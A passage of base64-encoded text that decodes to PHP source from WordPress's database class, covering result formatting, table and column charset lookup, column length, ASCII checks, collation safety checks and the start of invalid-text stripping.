heSBvZiByb3cgb2JqZWN0cwoJCQlyZXR1cm4gJHRoaXMtPmxhc3RfcmVzdWx0OwoJCX0gZWxzZWlmICggJG91dHB1dCA9PSBPQkpFQ1RfSyApIHsKCQkJLy8gUmV0dXJuIGFuIGFycmF5IG9mIHJvdyBvYmplY3RzIHdpdGgga2V5cyBmcm9tIGNvbHVtbiAxCgkJCS8vIChEdXBsaWNhdGVzIGFyZSBkaXNjYXJkZWQpCgkJCWZvcmVhY2ggKCAkdGhpcy0+bGFzdF9yZXN1bHQgYXMgJHJvdyApIHsKCQkJCSR2YXJfYnlfcmVmID0gZ2V0X29iamVjdF92YXJzKCAkcm93ICk7CgkJCQkka2V5ID0gYXJyYXlfc2hpZnQoICR2YXJfYnlfcmVmICk7CgkJCQlpZiAoICEgaXNzZXQoICRuZXdfYXJyYXlbICRrZXkgXSApICkKCQkJCQkkbmV3X2FycmF5WyAka2V5IF0gPSAkcm93OwoJCQl9CgkJCXJldHVybiAkbmV3X2FycmF5OwoJCX0gZWxzZWlmICggJG91dHB1dCA9PSBBUlJBWV9BIHx8ICRvdXRwdXQgPT0gQVJSQVlfTiApIHsKCQkJLy8gUmV0dXJuIGFuIGludGVnZXIta2V5ZWQgYXJyYXkgb2YuLi4KCQkJaWYgKCAkdGhpcy0+bGFzdF9yZXN1bHQgKSB7CgkJCQlmb3JlYWNoICggKGFycmF5KSAkdGhpcy0+bGFzdF9yZXN1bHQgYXMgJHJvdyApIHsKCQkJCQlpZiAoICRvdXRwdXQgPT0gQVJSQVlfTiApIHsKCQkJCQkJLy8gLi4uaW50ZWdlci1rZXllZCByb3cgYXJyYXlzCgkJCQkJCSRuZXdfYXJyYXlbXSA9IGFycmF5X3ZhbHVlcyggZ2V0X29iamVjdF92YXJzKCAkcm93ICkgKTsKCQkJCQl9IGVsc2UgewoJCQkJCQkvLyAuLi5jb2x1bW4gbmFtZS1rZXllZCByb3cgYXJyYXlzCgkJCQkJCSRuZXdfYXJyYXlbXSA9IGdldF9vYmplY3RfdmFycyggJHJvdyApOwoJCQkJCX0KCQkJCX0KCQkJfQoJCQlyZXR1cm4gJG5ld19hcnJheTsKCQl9IGVsc2VpZiAoIHN0cnRvdXBwZXIoICRvdXRwdXQgKSA9PT0gT0JKRUNUICkgewoJCQkvLyBCYWNrIGNvbXBhdCBmb3IgT0JKRUNUIGJlaW5nIHByZXZpb3VzbHkgY2FzZSBpbnNlbnNpdGl2ZS4KCQkJcmV0dXJuICR0aGlzLT5sYXN0X3Jlc3VsdDsKCQl9CgkJcmV0dXJuIG51bGw7Cgl9CgoJLyoqCgkgKiBSZXRyaWV2ZXMgdGhlIGNoYXJhY3RlciBzZXQgZm9yIHRoZSBnaXZlbiB0YWJsZS4KCSAqCgkgKiBAc2luY2UgNC4yLjAKCSAqIEBhY2Nlc3MgcHJvdGVjdGVkCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdGFibGUgVGFibGUgbmFtZS4KCSAqIEByZXR1cm4gc3RyaW5nfFdQX0Vycm9yIFRhYmxlIGNoYXJhY3RlciBzZXQsIFdQX0Vycm9yIG9iamVjdCBpZiBpdCBjb3VsZG4ndCBiZSBmb3VuZC4KCSAqLwoJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF90YWJsZV9jaGFyc2V0KCAkdGFibGUgKSB7CgkJJHRhYmxla2V5ID0gc3RydG9sb3dlciggJHRhYmxlICk7CgoJCS8qKgoJCSAqIEZpbHRlciB0aGUgdGFibGUgY2hhcnNldCB2YWx1ZSBiZWZvcmUgdGhlIERCIGlzIGNoZWNrZWQuCgkJICoKCQkgKiBQYXNzaW5nIGEgbm9uLW51bGwgdmFsdWUgdG8gdGhlIGZpbHRlciB3aWxsIGVmZmVjdGl2ZWx5IHNob3J0LWNpcmN1aXQKCQkgKiBjaGVja2luZyB0aGUgREIgZm9yIHRoZSBjaGFyc2V0LCByZXR1cm5pbmcgdGhhdCB2YWx1ZSBpbnN0ZWFkLgoJCSAqCgkJICogQHNpbmNlIDQuMi4wCgkJICoKCQkgKiBAcGFyYW0gc3RyaW5nICRjaGFyc2V0IFRoZSBjaGFyYWN0ZXIgc2V0IHRvIHVzZS4gRGVmYXVsdCBudWxsLgoJCSAqIEBwYXJhbSBzdHJpbmcgJHRhYmxlICAgVGhlIG5hbWUgb2YgdGhlIHRhYmxlIGJlaW5nIGNoZWNrZWQuCgkJICovCgkJJGNoYXJzZXQgPSBhcHBseV9maWx0ZXJzKCAncHJlX2dldF90YWJsZV9jaGFyc2V0JywgbnVsbCwgJHRhYmxlICk7CgkJaWYgKCBudWxsICE9PSAkY2hhcnNldCApIHsKCQkJcmV0dXJuICRjaGFyc2V0OwoJCX0KCgkJaWYgKCBpc3NldCggJHRoaXMtPnRhYmxlX2NoYXJzZXRbICR0YWJsZWtleSBdICkgKSB7CgkJCXJldHVybiAkdGhpcy0+dGFibGVfY2hhcnNldFsgJHRhYmxla2V5IF07CgkJfQoKCQkkY2hhcnNldHMgPSAkY29sdW1ucyA9IGFycmF5KCk7CgoJCSR0YWJsZV9wYXJ0cyA9IGV4cGxvZGUoICcuJywgJHRhYmxlICk7CgkJJHRhYmxlID0gJ2AnIC4gaW1wbG9kZSggJ2AuYCcsICR0YWJsZV9wYXJ0cyApIC4gJ2AnOwoJCSRyZXN1bHRzID0gJHRoaXMtPmdldF9yZXN1bHRzKCAiU0hPVyBGVUxMIENPTFVNTlMgRlJPTSAkdGFibGUiICk7CgkJaWYgKCAhICRyZXN1bHRzICkgewoJCQlyZXR1cm4gbmV3IFdQX0Vycm9yKCAnd3BkYl9nZXRfdGFibGVfY2hhcnNldF9mYWlsdXJlJyApOwoJCX0KCgkJZm9yZWFjaCAoICRyZXN1bHRzIGFzICRjb2x1bW4gKSB7CgkJCSRjb2x1bW5zWyBzdHJ0b2xvd2VyKCAkY29sdW1uLT5GaWVsZCApIF0gPSAkY29sdW1uOwoJCX0KCgkJJHRoaXMtPmNvbF9tZXRhWyAkdGFibGVrZXkgXSA9ICRjb2x1bW5zOwoKCQlmb3JlYWNoICggJGNvbHVtbnMgYXMgJGNvbHVtbiApIHsKCQkJaWYgKCAhIGVtcHR5KCAkY29sdW1uLT5Db2xsYXRpb24gKSApIHsKCQkJCWxpc3QoICRjaGFyc2V0ICkgPSBleHBsb2RlKCAnXycsICRjb2x1bW4tPkNvbGxhdGlvbiApOwoKCQkJCS8vIElmIHRoZSBjdXJyZW50IGNvbm5lY3Rpb24gY2FuJ3Qgc3VwcG9ydCB1dGY4bWI0IGNoYXJhY3RlcnMsIGxldCdzIG9ubHkgc2VuZCAzLWJ5dGUgdXRmOCBjaGFyYWN0ZXJzLgoJCQkJaWYgKCAndXRmOG1iNCcgPT09ICRjaGFyc2V0ICYmICEgJHRoaXMtPmhhc19jYXAoICd1dGY4bWI0JyApICkgewoJCQkJCSRjaGFyc2V0ID0gJ3V0ZjgnOwoJCQkJfQoKCQkJCSRjaGFyc2V0c1sgc3RydG9sb3dlciggJGNoYXJzZXQgKSBdID0gdHJ1ZTsKCQkJfQoKCQkJbGlzdCggJHR5cGUgKSA9IGV4cGxvZGUoICcoJywgJGNvbHVtbi0+VHlwZSApOwoKCQkJLy8gQSBiaW5hcnkvYmxvYiBtZWFucyB0aGUgd2hvbGUgcXVlcnkgZ2V0cyB0cmVhdGVkIGxpa2UgdGhpcy4KCQkJaWYgKCBpbl9hcnJheSggc3RydG91cHBlciggJHR5cGUgKSwgYXJyYXkoICdCSU5BUlknLCAnVkFSQklOQVJZJywgJ1RJTllCTE9CJywgJ01FRElVTUJMT0InLCAnQkxPQicsICdMT05HQkxPQicgKSApICkgewoJCQkJJHRoaXMtPnRhYmxlX2NoYXJzZXRbICR0YWJsZWtleSBdID0gJ2JpbmFyeSc7CgkJCQlyZXR1cm4gJ2JpbmFyeSc7CgkJCX0KCQl9CgoJCS8vIHV0ZjhtYjMgaXMgYW4gYWxpYXMgZm9yIHV0ZjguCgkJaWYgKCBpc3NldCggJGNoYXJzZXRzWyd1dGY4bWIzJ10gKSApIHsKCQkJJGNoYXJzZXRzWyd1dGY4J10gPSB0cnVlOwoJCQl1bnNldCggJGNoYXJzZXRzWyd1dGY4bWIzJ10gKTsKCQl9CgoJCS8vIENoZWNrIGlmIHdlIGhhdmUgbW9yZSB0aGFuIG9uZSBjaGFyc2V0IGluIHBsYXkuCgkJJGNvdW50ID0gY291bnQoICRjaGFyc2V0cyApOwoJCWlmICggMSA9PT0gJGNvdW50ICkgewoJCQkkY2hhcnNldCA9IGtleSggJGNoYXJzZXRzICk7CgkJfSBlbHNlaWYgKCAwID09PSAkY291bnQgKSB7CgkJCS8vIE5vIGNoYXJzZXRzLCBhc3N1bWUgdGhpcyB0YWJsZSBjYW4gc3RvcmUgd2hhdGV2ZXIuCgkJCSRjaGFyc2V0ID0gZmFsc2U7CgkJfSBlbHNlIHsKCQkJLy8gTW9yZSB0aGFuIG9uZSBjaGFyc2V0LiBSZW1vdmUgbGF0aW4xIGlmIHByZXNlbnQgYW5kIHJlY2FsY3VsYXRlLgoJCQl1bnNldCggJGNoYXJzZXRzWydsYXRpbjEnXSApOwoJCQkkY291bnQgPSBjb3VudCggJGNoYXJzZXRzICk7CgkJCWlmICggMSA9PT0gJGNvdW50ICkgewoJCQkJLy8gT25seSBvbmUgY2hhcnNldCAoYmVzaWRlcyBsYXRpbjEpLgoJCQkJJGNoYXJzZXQgPSBrZXkoICRjaGFyc2V0cyApOwoJCQl9IGVsc2VpZiAoIDIgPT09ICRjb3VudCAmJiBpc3NldCggJGNoYXJzZXRzWyd1dGY4J10sICRjaGFyc2V0c1sndXRmOG1iNCddICkgKSB7CgkJCQkvLyBUd28gY2hhcnNldHMsIGJ1dCB0aGV5J3JlIHV0ZjggYW5kIHV0ZjhtYjQsIHVzZSB1dGY4LgoJCQkJJGNoYXJzZXQgPSAndXRmOCc7CgkJCX0gZWxzZSB7CgkJCQkvLyBUd28gbWl4ZWQgY2hhcmFjdGVyIHNldHMuIGFzY2lpLgoJCQkJJGNoYXJzZXQgPSAnYXNjaWknOwoJCQl9CgkJfQoKCQkkdGhpcy0+dGFibGVfY2hhcnNldFsgJHRhYmxla2V5IF0gPSAkY2hhcnNldDsKCQlyZXR1cm4gJGNoYXJzZXQ7Cgl9CgoJLyoqCgkgKiBSZXRyaWV2ZXMgdGhlIGNoYXJhY3RlciBzZXQgZm9yIHRoZSBnaXZlbiBjb2x1bW4uCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHRhYmxlICBUYWJsZSBuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkY29sdW1uIENvbHVtbiBuYW1lLgoJICogQHJldHVybiBzdHJpbmd8ZmFsc2V8V1BfRXJyb3IgQ29sdW1uIGNoYXJhY3RlciBzZXQgYXMgYSBzdHJpbmcuIEZhbHNlIGlmIHRoZSBjb2x1bW4gaGFzIG5vCgkgKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGFyYWN0ZXIgc2V0LiBXUF9FcnJvciBvYmplY3QgaWYgdGhlcmUgd2FzIGFuIGVycm9yLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X2NvbF9jaGFyc2V0KCAkdGFibGUsICRjb2x1bW4gKSB7CgkJJHRhYmxla2V5ID0gc3RydG9sb3dlciggJHRhYmxlICk7CgkJJGNvbHVtbmtleSA9IHN0cnRvbG93ZXIoICRjb2x1bW4gKTsKCgkJLyoqCgkJICogRmlsdGVyIHRoZSBjb2x1bW4gY2hhcnNldCB2YWx1ZSBiZWZvcmUgdGhlIERCIGlzIGNoZWNrZWQuCgkJICoKCQkgKiBQYXNzaW5nIGEgbm9uLW51bGwgdmFsdWUgdG8gdGhlIGZpbHRlciB3aWxsIHNob3J0LWNpcmN1aXQKCQkgKiBjaGVja2luZyB0aGUgREIgZm9yIHRoZSBjaGFyc2V0LCByZXR1cm5pbmcgdGhhdCB2YWx1ZSBpbnN0ZWFkLgoJCSAqCgkJICogQHNpbmNlIDQuMi4wCgkJICoKCQkgKiBAcGFyYW0gc3RyaW5nICRjaGFyc2V0IFRoZSBjaGFyYWN0ZXIgc2V0IHRvIHVzZS4gRGVmYXVsdCBudWxsLgoJCSAqIEBwYXJhbSBzdHJpbmcgJHRhYmxlICAgVGhlIG5hbWUgb2YgdGhlIHRhYmxlIGJlaW5nIGNoZWNrZWQuCgkJICogQHBhcmFtIHN0cmluZyAkY29sdW1uICBUaGUgbmFtZSBvZiB0aGUgY29sdW1uIGJlaW5nIGNoZWNrZWQuCgkJICovCgkJJGNoYXJzZXQgPSBhcHBseV9maWx0ZXJzKCAncHJlX2dldF9jb2xfY2hhcnNldCcsIG51bGwsICR0YWJsZSwgJGNvbHVtbiApOwoJCWlmICggbnVsbCAhPT0gJGNoYXJzZXQgKSB7CgkJCXJldHVybiAkY2hhcnNldDsKCQl9CgoJCS8vIFNraXAgdGhpcyBlbnRpcmVseSBpZiB0aGlzIGlzbid0IGEgTXlTUUwgZGF0YWJhc2UuCgkJaWYgKCBlbXB0eSggJHRoaXMtPmlzX215c3FsICkgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCWlmICggZW1wdHkoICR0aGlzLT50YWJsZV9jaGFyc2V0WyAkdGFibGVrZXkgXSApICkgewoJCQkvLyBUaGlzIHByaW1lcyBjb2x1bW4gaW5mb3JtYXRpb24gZm9yIHVzLgoJCQkkdGFibGVfY2hhcnNldCA9ICR0aGlzLT5nZXRfdGFibGVfY2hhcnNldCggJHRhYmxlICk7CgkJCWlmICggaXNfd3BfZXJyb3IoICR0YWJsZV9jaGFyc2V0ICkgKSB7CgkJCQlyZXR1cm4gJHRhYmxlX2NoYXJzZXQ7CgkJCX0KCQl9CgoJCS8vIElmIHN0aWxsIG5vIGNvbHVtbiBpbmZvcm1hdGlvbiwgcmV0dXJuIHRoZSB0YWJsZSBjaGFyc2V0LgoJCWlmICggZW1wdHkoICR0aGlzLT5jb2xfbWV0YVsgJHRhYmxla2V5IF0gKSApIHsKCQkJcmV0dXJuICR0aGlzLT50YWJsZV9jaGFyc2V0WyAkdGFibGVrZXkgXTsKCQl9CgoJCS8vIElmIHRoaXMgY29sdW1uIGRvZXNuJ3QgZXhpc3QsIHJldHVybiB0aGUgdGFibGUgY2hhcnNldC4KCQlpZiAoIGVtcHR5KCAkdGhpcy0+Y29sX21ldGFbICR0YWJsZWtleSBdWyAkY29sdW1ua2V5IF0gKSApIHsKCQkJcmV0dXJuICR0aGlzLT50YWJsZV9jaGFyc2V0WyAkdGFibGVrZXkgXTsKCQl9CgoJCS8vIFJldHVybiBmYWxzZSB3aGVuIGl0J3Mgbm90IGEgc3RyaW5nIGNvbHVtbi4KCQlpZiAoIGVtcHR5KCAkdGhpcy0+Y29sX21ldGFbICR0YWJsZWtleSBdWyAkY29sdW1ua2V5IF0tPkNvbGxhdGlvbiApICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlsaXN0KCAkY2hhcnNldCApID0gZXhwbG9kZSggJ18nLCAkdGhpcy0+Y29sX21ldGFbICR0YWJsZWtleSBdWyAkY29sdW1ua2V5IF0tPkNvbGxhdGlvbiApOwoJCXJldHVybiAkY2hhcnNldDsKCX0KCgkvKioKCSAqIFJldHJpZXZlIHRoZSBtYXhpbXVtIHN0cmluZyBsZW5ndGggYWxsb3dlZCBpbiBhIGdpdmVuIGNvbHVtbi4KCSAqIFRoZSBsZW5ndGggbWF5IGVpdGhlciBiZSBzcGVjaWZpZWQgYXMgYSBieXRlIGxlbmd0aCBvciBhIGNoYXJhY3RlciBsZW5ndGguCgkgKgoJICogQHNpbmNlIDQuMi4xCgkgKiBAYWNjZXNzIHB1YmxpYwoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHRhYmxlICBUYWJsZSBuYW1lLgoJICogQHBhcmFtIHN0cmluZyAkY29sdW1uIENvbHVtbiBuYW1lLgoJICogQHJldHVybiBhcnJheXxmYWxzZXxXUF9FcnJvciBhcnJheSggJ2xlbmd0aCcgPT4gKGludCksICd0eXBlJyA9PiAnYnl0ZScgfCAnY2hhcicgKQoJICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWxzZSBpZiB0aGUgY29sdW1uIGhhcyBubyBsZW5ndGggKGZvciBleGFtcGxlLCBudW1lcmljIGNvbHVtbikKCSAqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BfRXJyb3Igb2JqZWN0IGlmIHRoZXJlIHdhcyBhbiBlcnJvci4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGdldF9jb2xfbGVuZ3RoKCAkdGFibGUsICRjb2x1bW4gKSB7CgkJJHRhYmxla2V5ID0gc3RydG9sb3dlciggJHRhYmxlICk7CgkJJGNvbHVtbmtleSA9IHN0cnRvbG93ZXIoICRjb2x1bW4gKTsKCgkJLy8gU2tpcCB0aGlzIGVudGlyZWx5IGlmIHRoaXMgaXNuJ3QgYSBNeVNRTCBkYXRhYmFzZS4KCQlpZiAoIGVtcHR5KCAkdGhpcy0+aXNfbXlzcWwgKSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJaWYgKCBlbXB0eSggJHRoaXMtPmNvbF9tZXRhWyAkdGFibGVrZXkgXSApICkgewoJCQkvLyBUaGlzIHByaW1lcyBjb2x1bW4gaW5mb3JtYXRpb24gZm9yIHVzLgoJCQkkdGFibGVfY2hhcnNldCA9ICR0aGlzLT5nZXRfdGFibGVfY2hhcnNldCggJHRhYmxlICk7CgkJCWlmICggaXNfd3BfZXJyb3IoICR0YWJsZV9jaGFyc2V0ICkgKSB7CgkJCQlyZXR1cm4gJHRhYmxlX2NoYXJzZXQ7CgkJCX0KCQl9CgoJCWlmICggZW1wdHkoICR0aGlzLT5jb2xfbWV0YVsgJHRhYmxla2V5IF1bICRjb2x1bW5rZXkgXSApICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkkdHlwZWluZm8gPSBleHBsb2RlKCAnKCcsICR0aGlzLT5jb2xfbWV0YVsgJHRhYmxla2V5IF1bICRjb2x1bW5rZXkgXS0+VHlwZSApOwoKCQkkdHlwZSA9IHN0cnRvbG93ZXIoICR0eXBlaW5mb1swXSApOwoJCWlmICggISBlbXB0eSggJHR5cGVpbmZvWzFdICkgKSB7CgkJCSRsZW5ndGggPSB0cmltKCAkdHlwZWluZm9bMV0sICcpJyApOwoJCX0gZWxzZSB7CgkJCSRsZW5ndGggPSBmYWxzZTsKCQl9CgoJCXN3aXRjaCggJHR5cGUgKSB7CgkJCWNhc2UgJ2NoYXInOgoJCQljYXNlICd2YXJjaGFyJzoKCQkJCXJldHVybiBhcnJheSgKCQkJCQkndHlwZScgICA9PiAnY2hhcicsCgkJCQkJJ2xlbmd0aCcgPT4gKGludCkgJGxlbmd0aCwKCQkJCSk7CgoJCQljYXNlICdiaW5hcnknOgoJCQljYXNlICd2YXJiaW5hcnknOgoJCQkJcmV0dXJuIGFycmF5KAoJCQkJCSd0eXBlJyAgID0+ICdieXRlJywKCQkJCQknbGVuZ3RoJyA9PiAoaW50KSAkbGVuZ3RoLAoJCQkJKTsKCgkJCWNhc2UgJ3RpbnlibG9iJzoKCQkJY2FzZSAndGlueXRleHQnOgoJCQkJcmV0dXJuIGFycmF5KAoJCQkJCSd0eXBlJyAgID0+ICdieXRlJywKCQkJCQknbGVuZ3RoJyA9PiAyNTUsICAgICAgICAvLyAyXjggLSAxCgkJCQkpOwoKCQkJY2FzZSAnYmxvYic6CgkJCWNhc2UgJ3RleHQnOgoJCQkJcmV0dXJuIGFycmF5KAoJCQkJCSd0eXBlJyAgID0+ICdieXRlJywKCQkJCQknbGVuZ3RoJyA9PiA2NTUzNSwgICAgICAvLyAyXjE2IC0gMQoJCQkJKTsKCgkJCWNhc2UgJ21lZGl1bWJsb2InOgoJCQljYXNlICdtZWRpdW10ZXh0JzoKCQkJCXJldHVybiBhcnJheSgKCQkJCQkndHlwZScgICA9PiAnYnl0ZScsCgkJCQkJJ2xlbmd0aCcgPT4gMTY3NzcyMTUsICAgLy8gMl4yNCAtIDEKCQkJCSk7CgoJCQljYXNlICdsb25nYmxvYic6CgkJCWNhc2UgJ2xvbmd0ZXh0JzoKCQkJCXJldHVybiBhcnJheSgKCQkJCQkndHlwZScgICA9PiAnYnl0ZScsCgkJCQkJJ2xlbmd0aCcgPT4gNDI5NDk2NzI5NSwgLy8gMl4zMiAtIDEKCQkJCSk7CgoJCQlkZWZhdWx0OgoJCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX0KCgkvKioKCSAqIENoZWNrIGlmIGEgc3RyaW5nIGlzIEFTQ0lJLgoJICoKCSAqIFRoZSBuZWdhdGl2ZSByZWdleCBpcyBmYXN0ZXIgZm9yIG5vbi1BU0NJSSBzdHJpbmdzLCBhcyBpdCBhbGxvd3MKCSAqIHRoZSBzZWFyY2ggdG8gZmluaXNoIGFzIHNvb24gYXMgaXQgZW5jb3VudGVycyBhIG5vbi1BU0NJSSBjaGFyYWN0ZXIuCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHN0cmluZyBTdHJpbmcgdG8gY2hlY2suCgkgKiBAcmV0dXJuIGJvb2wgVHJ1ZSBpZiBBU0NJSSwgZmFsc2UgaWYgbm90LgoJICovCglwcm90ZWN0ZWQgZnVuY3Rpb24gY2hlY2tfYXNjaWkoICRzdHJpbmcgKSB7CgkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdtYl9jaGVja19lbmNvZGluZycgKSApIHsKCQkJaWYgKCBtYl9jaGVja19lbmNvZGluZyggJHN0cmluZywgJ0FTQ0lJJyApICkgewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9IGVsc2VpZiAoICEgcHJlZ19tYXRjaCggJy9bXlx4MDAtXHg3Rl0vJywgJHN0cmluZyApICkgewoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgoJCXJldHVybiBmYWxzZTsKCX0KCgkvKioKCSAqIENoZWNrIGlmIHRoZSBxdWVyeSBpcyBhY2Nlc3NpbmcgYSBjb2xsYXRpb24gY29uc2lkZXJlZCBzYWZlIG9uIHRoZSBjdXJyZW50IHZlcnNpb24gb2YgTXlTUUwuCgkgKgoJICogQHNpbmNlIDQuMi4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHF1ZXJ5IFRoZSBxdWVyeSB0byBjaGVjay4KCSAqIEByZXR1cm4gYm9vbCBUcnVlIGlmIHRoZSBjb2xsYXRpb24gaXMgc2FmZSwgZmFsc2UgaWYgaXQgaXNuJ3QuCgkgKi8KCXByb3RlY3RlZCBmdW5jdGlvbiBjaGVja19zYWZlX2NvbGxhdGlvbiggJHF1ZXJ5ICkgewoJCWlmICggJHRoaXMtPmNoZWNraW5nX2NvbGxhdGlvbiApIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoKCQkvLyBXZSBkb24ndCBuZWVkIHRvIGNoZWNrIHRoZSBjb2xsYXRpb24gZm9yIHF1ZXJpZXMgdGhhdCBkb24ndCByZWFkIGRhdGEuCgkJJHF1ZXJ5ID0gbHRyaW0oICRxdWVyeSwgIlxyXG5cdCAoIiApOwoJCWlmICggcHJlZ19tYXRjaCggJy9eKD86U0hPV3xERVNDUklCRXxERVNDfEVYUExBSU58Q1JFQVRFKVxzL2knLCAkcXVlcnkgKSApIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoKCQkvLyBBbGwtQVNDSUkgcXVlcmllcyBkb24ndCBuZWVkIGV4dHJhIGNoZWNraW5nLgoJCWlmICggJHRoaXMtPmNoZWNrX2FzY2lpKCAkcXVlcnkgKSApIHsKCQkJcmV0dXJuIHRydWU7CgkJfQoKCQkkdGFibGUgPSAkdGhpcy0+Z2V0X3RhYmxlX2Zyb21fcXVlcnkoICRxdWVyeSApOwoJCWlmICggISAkdGFibGUgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCSR0aGlzLT5jaGVja2luZ19jb2xsYXRpb24gPSB0cnVlOwoJCSRjb2xsYXRpb24gPSAkdGhpcy0+Z2V0X3RhYmxlX2NoYXJzZXQoICR0YWJsZSApOwoJCSR0aGlzLT5jaGVja2luZ19jb2xsYXRpb24gPSBmYWxzZTsKCgkJLy8gVGFibGVzIHdpdGggbm8gY29sbGF0aW9uLCBvciBsYXRpbjEgb25seSwgZG9uJ3QgbmVlZCBleHRyYSBjaGVja2luZy4KCQlpZiAoIGZhbHNlID09PSAkY29sbGF0aW9uIHx8ICdsYXRpbjEnID09PSAkY29sbGF0aW9uICkgewoJCQlyZXR1cm4gdHJ1ZTsKCQl9CgoJCSR0YWJsZSA9IHN0cnRvbG93ZXIoICR0YWJsZSApOwoJCWlmICggZW1wdHkoICR0aGlzLT5jb2xfbWV0YVsgJHRhYmxlIF0gKSApIHsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJLy8gSWYgYW55IG9mIHRoZSBjb2x1bW5zIGRvbid0IGhhdmUgb25lIG9mIHRoZXNlIGNvbGxhdGlvbnMsIGl0IG5lZWRzIG1vcmUgc2FuaXR5IGNoZWNraW5nLgoJCWZvcmVhY2ggKCAkdGhpcy0+Y29sX21ldGFbICR0YWJsZSBdIGFzICRjb2wgKSB7CgkJCWlmICggZW1wdHkoICRjb2wtPkNvbGxhdGlvbiApICkgewoJCQkJY29udGludWU7CgkJCX0KCgkJCWlmICggISBpbl9hcnJheSggJGNvbC0+Q29sbGF0aW9uLCBhcnJheSggJ3V0ZjhfZ2VuZXJhbF9jaScsICd1dGY4X2JpbicsICd1dGY4bWI0X2dlbmVyYWxfY2knLCAndXRmOG1iNF9iaW4nICksIHRydWUgKSApIHsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCgkJcmV0dXJuIHRydWU7Cgl9CgoJLyoqCgkgKiBTdHJpcHMgYW55IGludmFsaWQgY2hhcmFjdGVycyBiYXNlZCBvbiB2YWx1ZS9jaGFyc2V0IHBhaXJzLgoJICoKCSAqIEBzaW5jZSA0LjIuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqCgkgKiBAcGFyYW0gYXJyYXkgJGRhdGEgQXJyYXkgb2YgdmFsdWUgYXJyYXlzLiBFYWNoIHZhbHVlIGFycmF5IGhhcyB0aGUga2V5cwoJICogICAgICAgICAgICAgICAgICAgICd2YWx1ZScgYW5kICdjaGFyc2V0Jy4gQW4gb3B0aW9uYWwgJ2FzY2lpJyBrZXkgY2FuIGJlCgkgKiAgICAgICAgICAgICAgICAgICAgc2V0IHRvIGZhbHNlIHRvIGF2b2lkIHJlZHVuZGFudCBBU0NJSSBjaGVja3MuCgkgKiBAcmV0dXJuIGFycmF5fFdQX0Vycm9yIFRoZSAkZGF0YSBwYXJhbWV0ZXIsIHdpdGggaW52YWxpZCBjaGFyYWN0ZXJzIHJlbW92ZWQgZnJvbQoJICogICAgICAgICAgICAgICAgICAgICAgICBlYWNoIHZhbHVlLiBUaGlzIHdvcmtzIGFzIGEgcGFzc3Rocm91Z2g6IGFueSBhZGRpdGlvbmFsIGtleXMKCSAqICAgICAgICAgICAgICAgICAgICAgICAgc3VjaCBhcyAnZmllbGQnIGFyZSByZXRhaW5lZCBpbiBlYWNoIHZhbHVlIGFycmF5LiBJZiB3ZSBjYW5ub3QKCSAqICAgICAgICAgICAgICAgICAgICAgICAgcmVtb3ZlIGludmFsaWQgY2hhcmFjdGVycywgYSBXUF9FcnJvciBvYmplY3QgaXMgcmV0dXJuZWQuCgkgKi8KCXByb3RlY3RlZCBmdW5jdGlvbiBzdHJpcF9pbnZhbGlkX3RleHQoICRkYXRhICkgewoJCSRkYl9jaGVja19zdHJpbmcgPSBmYWxzZTsKCgkJZm9yZWFjaCAoICRkYXRhIGFzICYkdmFsdWUgKSB7CgkJCSRjaGFyc2V0ID0gJHZhbHVlWydjaGFyc2V0J107CgoJCQlpZiAoIGlzX2FycmF5KCAkdmFsdWVbJ2xlbmd0aCddICkgKSB7CgkJCQkkbGVuZ3RoID0gJHZhbHVlWydsZW5ndGgnXVsnbGVuZ3RoJ107CgkJCQkkdHJ1bmNhdGVfYnlfYnl0ZV9sZW5ndGggPSAnYnl0ZScgPT09ICR2YWx1ZVsnbGVuZ3RoJ11bJ3R5cGUnXTsKCQkJfSBlbHNlIHsKCQkJCSRsZW5ndGggPSBmYWxzZTsKCQkJCS8vIFNpbmNlIHdlIGhhdmUgbm8gbGVuZ3RoLCB3ZSdsbCBuZXZlciB0cnVuY2F0ZS4KCQkJCS8vIEluaXRpYWxpemUgdGhlIHZhcmlhYmxlIHRvIGZhbHNlLiB0cnVlIHdvdWxkIHRha2UgdXMKCQkJCS8vIHRocm91Z2ggYW4gdW5uZWNlc3NhcnkgKGZvciB0aGlzIGNhc2UpIGNvZGVwYXRoIGJlbG93LgoJCQkJJHRydW5jYXRlX2J5X2J5dGVfbGVuZ3RoID0gZmFsc2U7CgkJCX0KCgkJCS8vIFRoZXJlJ3Mgbm8gY2hhcnNldCB0byB3b3JrIHdpdGguCgkJCWlmICggZmFsc2UgPT09ICRjaGFyc2V0ICkgewoJCQkJY29udGludWU7CgkJCX0KCgkJCS8vIENvbHVtbiBpc24ndCBhIHN0cmluZy4KCQkJaWYgKCAhIGlzX3N0cmluZyggJHZhbHVlWyd2YWx1ZSddICkgKSB7CgkJCQljb250aW51ZTsKCQkJfQoKCQkJJG5lZWRzX3ZhbGlkYXRpb24gPSB0cnVlOwoJCQlpZiAoCgkJCQkvLyBsYXRpbjEgY2F